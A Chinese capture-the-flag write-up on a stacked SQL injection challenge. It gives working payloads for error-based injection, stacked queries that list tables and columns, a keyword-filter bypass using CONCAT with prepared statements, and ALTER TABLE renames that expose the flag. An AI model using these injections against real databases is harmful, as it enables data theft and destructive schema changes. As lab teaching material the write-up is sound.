考点:堆叠注入
原理:原来的语句构造完后加上分号,代表该语句结束。后面的语句就是一个新的sql语句。
条件:调用mysqli_multi_query()函数
一般的mysqli_ query()函数仅支持一条查询
复现:
经过常规操作,在联合查询时发现这题有大量的正则过滤
尝试绕过大小写,注释绕过都失败了
尝试报错注入,虽然能注出数据库版本等信息,但是select被过滤了,没办法查表
0' and (extractvalue(1,concat(0x7e,database(),0x7e)));#
堆叠注入:
0';show tables#
继续查:
0';show columns from `1919810931114514`;#
但是查字段的话,select被过滤了
方法1:预编译
payload:
0';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#
相关的知识点:
set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句
但是出现了这个
检测到了set prepare 但是strstr这个函数不区分大小写
0';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#
学习链接:
mysql中Prepare、execute、deallocate的使用方法
MySQL 预处理语句prepare、execute、deallocate的使用
方法2:修改表名
猜测语句类似于:
select * from words where id = '';
我们将表1919810931114514名字改为words,flag列名字改为id,那么就能得到flag的内容了
0'; alter table words rename to words1;alter table `1919810931114514` rename to words;alter table words change flag id varchar(50);#
拆开:
1'; alter table words rename to words1; alter table `1919810931114514` rename to words; alter table words change flag id varchar(50); #
然后使用 1' or 1=1#查字段